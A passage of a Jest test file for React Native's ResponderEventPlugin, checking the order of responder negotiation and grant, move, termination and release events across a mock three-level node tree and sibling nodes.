responderGrant: {},\n    responderStart: {},\n    responderMove: {},\n    responderTerminate: {},\n    responderEnd: {},\n    responderRelease: {},\n  };\n  for (const eventName in ret) {\n    for (const readableNodeName in readableIDToID) {\n      if (ret[eventName].bubbled) {\n        // Two phase\n        ret[eventName].bubbled[readableNodeName] = {\n          order: NA,\n          assertEvent: null,\n          returnVal: undefined,\n        };\n        ret[eventName].captured[readableNodeName] = {\n          order: NA,\n          assertEvent: null,\n          returnVal: undefined,\n        };\n      } else {\n        ret[eventName][readableNodeName] = {\n          order: NA,\n          assertEvent: null,\n          returnVal: undefined,\n        };\n      }\n    }\n  }\n  return ret;\n};\n\n/**\n * @param {object} eventTestConfig\n * @param {object} readableIDToID\n */\nconst registerTestHandlers = function (eventTestConfig, readableIDToID) {\n  const runs = {dispatchCount: 0};\n  const neverFire = function (readableID, registrationName) {\n    runs.dispatchCount++;\n    expect('').toBe(\n      'Event type: ' +\n        registrationName +\n        '\\nShould never occur on:' +\n        readableID +\n        '\\nFor event test config:\\n' +\n        JSON.stringify(eventTestConfig) +\n        '\\n',\n    );\n  };\n\n  const registerOneEventType = function (\n    registrationName,\n    eventTypeTestConfig,\n  ) {\n    for (const readableID in eventTypeTestConfig) {\n      const nodeConfig = eventTypeTestConfig[readableID];\n      const id = readableIDToID[readableID];\n      const handler =\n        nodeConfig.order === NA\n          ? neverFire.bind(null, readableID, registrationName)\n          : // We partially apply readableID and nodeConfig, as they change in the\n            // parent closure across iterations.\n            function (rID, config, e) {\n              expect(\n                rID +\n                  '->' +\n                  registrationName +\n                  ' index:' +\n                  runs.dispatchCount++,\n              ).toBe(rID + '->' + registrationName + ' index:' + config.order);\n              if (config.assertEvent) {\n                config.assertEvent(e);\n              }\n              return config.returnVal;\n            }.bind(null, readableID, nodeConfig);\n      putListener(getInstanceFromNode(id), registrationName, handler);\n    }\n  };\n  for (const eventName in eventTestConfig) {\n    const oneEventTypeTestConfig = eventTestConfig[eventName];\n    const hasTwoPhase = !!oneEventTypeTestConfig.bubbled;\n    if (hasTwoPhase) {\n      registerOneEventType(\n        ResponderEventPlugin.eventTypes[eventName].phasedRegistrationNames\n          .bubbled,\n        oneEventTypeTestConfig.bubbled,\n      );\n      registerOneEventType(\n        ResponderEventPlugin.eventTypes[eventName].phasedRegistrationNames\n          .captured,\n        oneEventTypeTestConfig.captured,\n      );\n    } else {\n      registerOneEventType(\n        ResponderEventPlugin.eventTypes[eventName].registrationName,\n        oneEventTypeTestConfig,\n      );\n    }\n  }\n  return runs;\n};\n\nconst run = function (config, hierarchyConfig, nativeEventConfig) {\n  let max = NA;\n  const searchForMax = function (nodeConfig) {\n    for (const readableID in nodeConfig) {\n      const order = nodeConfig[readableID].order;\n      max = order > max ? order : max;\n    }\n  };\n  for (const eventName in config) {\n    const eventConfig = config[eventName];\n    if (eventConfig.bubbled) {\n      searchForMax(eventConfig.bubbled);\n      searchForMax(eventConfig.captured);\n    } else {\n      searchForMax(eventConfig);\n    }\n  }\n\n  // Register the handlers\n  const runData = registerTestHandlers(config, hierarchyConfig);\n\n  // Trigger the event\n  const extractedEvents = ResponderEventPlugin.extractEvents(\n    nativeEventConfig.topLevelType,\n    nativeEventConfig.targetInst,\n    nativeEventConfig.nativeEvent,\n    nativeEventConfig.target,\n    0,\n  );\n\n  // At this point the negotiation events have been dispatched as part of the\n  // extraction process, but not the side effectful events. Below, we dispatch\n  // side effectful events.\n  EventBatching.runEventsInBatch(extractedEvents);\n\n  // Ensure that every event that declared an `order`, was actually dispatched.\n  expect('number of events dispatched:' + runData.dispatchCount).toBe(\n    'number of events dispatched:' + (max + 1),\n  ); // +1 for extra ++\n};\n\nconst GRANDPARENT_HOST_NODE = {};\nconst PARENT_HOST_NODE = {};\nconst CHILD_HOST_NODE = {};\nconst CHILD_HOST_NODE2 = {};\n\n// These intentionally look like Fibers. ReactTreeTraversal depends on their field names.\n// TODO: we could test this with regular DOM nodes (and real fibers) instead.\nconst GRANDPARENT_INST = {\n  return: null,\n  tag: HostComponent,\n  stateNode: GRANDPARENT_HOST_NODE,\n  memoizedProps: {},\n};\nconst PARENT_INST = {\n  return: GRANDPARENT_INST,\n  tag: HostComponent,\n  stateNode: PARENT_HOST_NODE,\n  memoizedProps: {},\n};\nconst CHILD_INST = {\n  return: PARENT_INST,\n  tag: HostComponent,\n  stateNode: CHILD_HOST_NODE,\n  memoizedProps: {},\n};\nconst CHILD_INST2 = {\n  return: PARENT_INST,\n  tag: HostComponent,\n  stateNode: CHILD_HOST_NODE2,\n  memoizedProps: {},\n};\n\nGRANDPARENT_HOST_NODE.testInstance = GRANDPARENT_INST;\nPARENT_HOST_NODE.testInstance = PARENT_INST;\nCHILD_HOST_NODE.testInstance = CHILD_INST;\nCHILD_HOST_NODE2.testInstance = CHILD_INST2;\n\nconst three = {\n  grandParent: GRANDPARENT_HOST_NODE,\n  parent: PARENT_HOST_NODE,\n  child: CHILD_HOST_NODE,\n};\n\nconst siblings = {\n  parent: PARENT_HOST_NODE,\n  childOne: CHILD_HOST_NODE,\n  childTwo: CHILD_HOST_NODE2,\n};\n\nfunction getInstanceFromNode(node) {\n  return node.testInstance;\n}\n\nfunction getNodeFromInstance(inst) {\n  return inst.stateNode;\n}\n\nfunction getFiberCurrentPropsFromNode(node) {\n  return node.testInstance.memoizedProps;\n}\n\nfunction putListener(instance, registrationName, handler) {\n  instance.memoizedProps[registrationName] = handler;\n}\n\nfunction deleteAllListeners(instance) {\n  instance.memoizedProps = {};\n}\n\ndescribe('ResponderEventPlugin', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    EventBatching = require('react-native-renderer/src/legacy-events/EventBatching');\n    EventPluginUtils = require('react-native-renderer/src/legacy-events/EventPluginUtils');\n    ResponderEventPlugin =\n      require('react-native-renderer/src/legacy-events/ResponderEventPlugin').default;\n\n    deleteAllListeners(GRANDPARENT_INST);\n    deleteAllListeners(PARENT_INST);\n    deleteAllListeners(CHILD_INST);\n    deleteAllListeners(CHILD_INST2);\n\n    injectComponentTree({\n      getInstanceFromNode,\n      getNodeFromInstance,\n      getFiberCurrentPropsFromNode,\n    });\n  });\n\n  it('should do nothing when no one wants to respond', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: false};\n    config.startShouldSetResponder.bubbled.parent = {\n      order: 4,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.grandParent = {\n      order: 5,\n      returnVal: false,\n    };\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n\n    // Now no handlers should be called on `touchEnd`.\n    config = oneEventLoopTestConfig(three);\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  /**\n   * Simple Start Granting\n   * --------------------\n   */\n\n  it('should grant responder grandParent while capturing', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: true,\n    };\n    config.responderGrant.grandParent = {order: 1};\n    config.responderStart.grandParent = {order: 2};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.grandParent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.grandParent = {order: 0};\n    config.responderRelease.grandParent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder parent while capturing', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: true,\n    };\n    config.responderGrant.parent = {order: 2};\n    config.responderStart.parent = {order: 3};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.parent = {order: 0};\n    config.responderRelease.parent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder child while capturing', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {order: 2, returnVal: true};\n    config.responderGrant.child = {order: 3};\n    config.responderStart.child = {order: 4};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    config.responderRelease.child = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder child while bubbling', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: true};\n    config.responderGrant.child = {order: 4};\n    config.responderStart.child = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    config.responderRelease.child = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder parent while bubbling', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: false};\n    config.startShouldSetResponder.bubbled.parent = {order: 4, returnVal: true};\n    config.responderGrant.parent = {order: 5};\n    config.responderStart.parent = {order: 6};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.parent = {order: 0};\n    config.responderRelease.parent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder grandParent while bubbling', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: false};\n    config.startShouldSetResponder.bubbled.parent = {\n      order: 4,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.grandParent = {\n      order: 5,\n      returnVal: true,\n    };\n    config.responderGrant.grandParent = {order: 6};\n    config.responderStart.grandParent = {order: 7};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.grandParent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.grandParent = {order: 0};\n    config.responderRelease.grandParent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  /**\n   * Simple Move Granting\n   * --------------------\n   */\n\n  it('should grant responder grandParent while capturing move', () => {\n    let config = oneEventLoopTestConfig(three);\n\n    config.startShouldSetResponder.captured.grandParent = {order: 0};\n    config.startShouldSetResponder.captured.parent = {order: 1};\n    config.startShouldSetResponder.captured.child = {order: 2};\n    config.startShouldSetResponder.bubbled.child = {order: 3};\n    config.startShouldSetResponder.bubbled.parent = {order: 4};\n    config.startShouldSetResponder.bubbled.grandParent = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: true,\n    };\n    config.responderGrant.grandParent = {order: 1};\n    config.responderMove.grandParent = {order: 2};\n    run(config, three, moveConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.grandParent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.grandParent = {order: 0};\n    config.responderRelease.grandParent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder parent while capturing move', () => {\n    let config = oneEventLoopTestConfig(three);\n\n    config.startShouldSetResponder.captured.grandParent = {order: 0};\n    config.startShouldSetResponder.captured.parent = {order: 1};\n    config.startShouldSetResponder.captured.child = {order: 2};\n    config.startShouldSetResponder.bubbled.child = {order: 3};\n    config.startShouldSetResponder.bubbled.parent = {order: 4};\n    config.startShouldSetResponder.bubbled.grandParent = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {order: 1, returnVal: true};\n    config.responderGrant.parent = {order: 2};\n    config.responderMove.parent = {order: 3};\n    run(config, three, moveConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.parent = {order: 0};\n    config.responderRelease.parent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder child while capturing move', () => {\n    let config = oneEventLoopTestConfig(three);\n\n    config.startShouldSetResponder.captured.grandParent = {order: 0};\n    config.startShouldSetResponder.captured.parent = {order: 1};\n    config.startShouldSetResponder.captured.child = {order: 2};\n    config.startShouldSetResponder.bubbled.child = {order: 3};\n    config.startShouldSetResponder.bubbled.parent = {order: 4};\n    config.startShouldSetResponder.bubbled.grandParent = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.child = {order: 2, returnVal: true};\n    config.responderGrant.child = {order: 3};\n    config.responderMove.child = {order: 4};\n    run(config, three, moveConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    config.responderRelease.child = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder child while bubbling move', () => {\n    let config = oneEventLoopTestConfig(three);\n\n    config.startShouldSetResponder.captured.grandParent = {order: 0};\n    config.startShouldSetResponder.captured.parent = {order: 1};\n    config.startShouldSetResponder.captured.child = {order: 2};\n    config.startShouldSetResponder.bubbled.child = {order: 3};\n    config.startShouldSetResponder.bubbled.parent = {order: 4};\n    config.startShouldSetResponder.bubbled.grandParent = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.child = {order: 2, returnVal: false};\n    config.moveShouldSetResponder.bubbled.child = {order: 3, returnVal: true};\n    config.responderGrant.child = {order: 4};\n    config.responderMove.child = {order: 5};\n    run(config, three, moveConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    config.responderRelease.child = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder parent while bubbling move', () => {\n    let config = oneEventLoopTestConfig(three);\n\n    config.startShouldSetResponder.captured.grandParent = {order: 0};\n    config.startShouldSetResponder.captured.parent = {order: 1};\n    config.startShouldSetResponder.captured.child = {order: 2};\n    config.startShouldSetResponder.bubbled.child = {order: 3};\n    config.startShouldSetResponder.bubbled.parent = {order: 4};\n    config.startShouldSetResponder.bubbled.grandParent = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.child = {order: 2, returnVal: false};\n    config.moveShouldSetResponder.bubbled.child = {order: 3, returnVal: false};\n    config.moveShouldSetResponder.bubbled.parent = {order: 4, returnVal: true};\n    config.responderGrant.parent = {order: 5};\n    config.responderMove.parent = {order: 6};\n    run(config, three, moveConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.parent = {order: 0};\n    config.responderRelease.parent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should grant responder grandParent while bubbling move', () => {\n    let config = oneEventLoopTestConfig(three);\n\n    config.startShouldSetResponder.captured.grandParent = {order: 0};\n    config.startShouldSetResponder.captured.parent = {order: 1};\n    config.startShouldSetResponder.captured.child = {order: 2};\n    config.startShouldSetResponder.bubbled.child = {order: 3};\n    config.startShouldSetResponder.bubbled.parent = {order: 4};\n    config.startShouldSetResponder.bubbled.grandParent = {order: 5};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.child = {order: 2, returnVal: false};\n    config.moveShouldSetResponder.bubbled.child = {order: 3, returnVal: false};\n    config.moveShouldSetResponder.bubbled.parent = {order: 4, returnVal: false};\n    config.moveShouldSetResponder.bubbled.grandParent = {\n      order: 5,\n      returnVal: true,\n    };\n    config.responderGrant.grandParent = {order: 6};\n    config.responderMove.grandParent = {order: 7};\n    run(config, three, moveConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.grandParent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.grandParent = {order: 0};\n    config.responderRelease.grandParent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  /**\n   * Common ancestor tests\n   * ---------------------\n   */\n\n  it('should bubble negotiation to first common ancestor of responder', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: true,\n    };\n    config.responderGrant.parent = {order: 2};\n    config.responderStart.parent = {order: 3};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    // While `parent` is still responder, we create new handlers that verify\n    // the ordering of propagation, restarting the count at `0`.\n    config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n\n    config.startShouldSetResponder.bubbled.grandParent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.responderStart.parent = {order: 2};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.parent = {order: 0};\n    config.responderRelease.parent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  it('should bubble negotiation to first common ancestor of responder then transfer', () => {\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: true,\n    };\n    config.responderGrant.parent = {order: 2};\n    config.responderStart.parent = {order: 3};\n    run(config, three, startConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.parent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n\n    // Parent is responder, and responder is transferred by a second touch start\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: true,\n    };\n    config.responderGrant.grandParent = {order: 1};\n    config.responderTerminationRequest.parent = {order: 2, returnVal: true};\n    config.responderTerminate.parent = {order: 3};\n    config.responderStart.grandParent = {order: 4};\n    run(\n      config,\n      three,\n      startConfig(three.child, [three.child, three.child], [1]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.grandParent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.grandParent = {order: 0};\n    // one remains\\ /one ended \\\n    run(config, three, endConfig(three.child, [three.child, three.child], [1]));\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.grandParent),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.grandParent = {order: 0};\n    config.responderRelease.grandParent = {order: 1};\n    run(config, three, endConfig(three.child, [three.child], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  /**\n   * If nothing is responder, then the negotiation should propagate directly to\n   * the deepest target in the second touch.\n   */\n  it('should negotiate with deepest target on second touch if nothing is responder', () => {\n    // Initially nothing wants to become the responder\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.parent = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.grandParent = {\n      order: 3,\n      returnVal: false,\n    };\n\n    run(config, three, startConfig(three.parent, [three.parent], [0]));\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n\n    config = oneEventLoopTestConfig(three);\n\n    // Now child wants to become responder. Negotiation should bubble as deep\n    // as the target is because we don't find first common ancestor (with\n    // current responder) because there is no current responder.\n    // (Even if this is the second active touch).\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.child = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.child = {order: 3, returnVal: true};\n    config.responderGrant.child = {order: 4};\n    config.responderStart.child = {order: 5};\n    //                                     /  Two active touches  \\  /one of them new\\\n    run(\n      config,\n      three,\n      startConfig(three.child, [three.parent, three.child], [1]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    // Now we remove the original first touch, keeping the second touch that\n    // started within the current responder (child). Nothing changes because\n    // there's still touches that started inside of the current responder.\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    //                                      / one ended\\  /one remains \\\n    run(\n      config,\n      three,\n      endConfig(three.child, [three.parent, three.child], [0]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    // Okay, now let's add back that first touch (nothing should change) and\n    // then we'll try peeling back the touches in the opposite order to make\n    // sure that first removing the second touch instantly causes responder to\n    // be released.\n    config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.parent = {\n      order: 2,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.grandParent = {\n      order: 3,\n      returnVal: false,\n    };\n    // Interesting: child still gets moves even though touch target is parent!\n    // Current responder gets a `responderStart` for any touch while responder.\n    config.responderStart.child = {order: 4};\n    //                                           /  Two active touches  \\  /one of them new\\\n    run(\n      config,\n      three,\n      startConfig(three.parent, [three.child, three.parent], [1]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    // Now, move that new touch that had no effect, and did not start within\n    // the current responder.\n    config = oneEventLoopTestConfig(three);\n    config.moveShouldSetResponder.captured.grandParent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.captured.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.bubbled.parent = {order: 2, returnVal: false};\n    config.moveShouldSetResponder.bubbled.grandParent = {\n      order: 3,\n      returnVal: false,\n    };\n    // Interesting: child still gets moves even though touch target is parent!\n    // Current responder gets a `responderMove` for any touch while responder.\n    config.responderMove.child = {order: 4};\n    //                                     /  Two active touches  \\  /one of them moved\\\n    run(\n      config,\n      three,\n      moveConfig(three.parent, [three.child, three.parent], [1]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(three.child),\n    );\n\n    config = oneEventLoopTestConfig(three);\n    config.responderEnd.child = {order: 0};\n    config.responderRelease.child = {order: 1};\n    //                                        /child end \\ /parent remain\\\n    run(\n      config,\n      three,\n      endConfig(three.child, [three.child, three.parent], [0]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(null);\n  });\n\n  /**\n   * If nothing is responder, then the negotiation should propagate directly to\n   * the deepest target in the second touch.\n   */\n  it('should negotiate until first common ancestor when there are siblings', () => {\n    // Initially nothing wants to become the responder\n    let config = oneEventLoopTestConfig(siblings);\n    config.startShouldSetResponder.captured.parent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.captured.childOne = {\n      order: 1,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.childOne = {\n      order: 2,\n      returnVal: true,\n    };\n    config.responderGrant.childOne = {order: 3};\n    config.responderStart.childOne = {order: 4};\n\n    run(\n      config,\n      siblings,\n      startConfig(siblings.childOne, [siblings.childOne], [0]),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(siblings.childOne),\n    );\n\n    // If the touch target is the sibling item, the negotiation should only\n    // propagate to first common ancestor of current responder and sibling (so\n    // the parent).\n    config = oneEventLoopTestConfig(siblings);\n    config.startShouldSetResponder.captured.parent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.startShouldSetResponder.bubbled.parent = {\n      order: 1,\n      returnVal: false,\n    };\n    config.responderStart.childOne = {order: 2};\n\n    const touchConfig = startConfig(\n      siblings.childTwo,\n      [siblings.childOne, siblings.childTwo],\n      [1],\n    );\n    run(config, siblings, touchConfig);\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(siblings.childOne),\n    );\n\n    // move childOne\n    config = oneEventLoopTestConfig(siblings);\n    config.moveShouldSetResponder.captured.parent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.bubbled.parent = {order: 1, returnVal: false};\n    config.responderMove.childOne = {order: 2};\n    run(\n      config,\n      siblings,\n      moveConfig(\n        siblings.childOne,\n        [siblings.childOne, siblings.childTwo],\n        [0],\n      ),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(siblings.childOne),\n    );\n\n    // move childTwo: Only negotiates to `parent`.\n    config = oneEventLoopTestConfig(siblings);\n    config.moveShouldSetResponder.captured.parent = {\n      order: 0,\n      returnVal: false,\n    };\n    config.moveShouldSetResponder.bubbled.parent = {order: 1, returnVal: false};\n    config.responderMove.childOne = {order: 2};\n    run(\n      config,\n      siblings,\n      moveConfig(\n        siblings.childTwo,\n        [siblings.childOne, siblings.childTwo],\n        [1],\n      ),\n    );\n    expect(ResponderEventPlugin._getResponder()).toBe(\n      getInstanceFromNode(siblings.childOne),\n    );\n  });\n\n  it('should notify of being rejected. responderStart/Move happens on current responder', () => {\n    // Initially nothing wants to become the responder\n    let config = oneEventLoopTestConfig(three);\n    config.startShouldSetResponder.captured.grandParent = {\n      order: 